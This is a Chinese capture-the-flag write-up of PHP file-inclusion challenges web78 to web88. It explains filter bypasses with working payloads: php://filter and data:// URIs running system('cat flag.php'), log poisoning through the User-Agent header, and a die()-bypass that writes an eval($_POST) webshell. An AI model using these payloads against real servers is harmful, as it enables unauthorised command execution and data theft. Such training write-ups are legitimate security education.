web78
进入环境
直接利用php://filter伪协议读取flag.php文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码得到flag
web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
str_replace替换字符串
将变量file中的php替换成???
那我们这里就不能用php伪协议了换data协议并用base64加密
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
<?php system('cat flag.php'); ?>
web80
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同上过滤php,data
正常服务器中的日志文件位置:
/var/log/nginx/access.log
/var/log/apache2/access.log
这里包含日志文件来getshell
可以看见日志文件会记录User-Agent
抓包修改User-Agent
<?php system('ls');?>
<?php system('cat fl0g.php');?>
web81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
同上过滤php,data,:
使用日志文件getshell
和上题一样
web82
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?>
.也过滤了日志包含不行
web87
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
file_put_contents使用php://filter绕过,这里用base64绕过
php://filter/convert.base64-decode/resource=s1mple.php
因为有urldecode解码且上面有php,data,:,.的过滤我们对其url2次编码绕过
因为url编码无法对英文字符直接编码,但原理是编码成16进制在前面再加上%
所以我们直接Hex编码加上%
绕后再进行一次url编码就可以了
绕过死亡函数die
phpdie六个字符,base64解码需要四个一组所以再加上两个a
在其后面加上一句话木马<?php @eval($_POST['zxc']);?>
aaPD9waHAgQGV2YWwoJF9QT1NUWyd6eGMnXSk7Pz4=
即content=aaPD9waHAgQGV2YWwoJF9QT1NUWyd6eGMnXSk7Pz4=
用post传参
然后访问s1mple.php
命令执行
web88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
和79一样用data协议但是base64编码后需要去掉=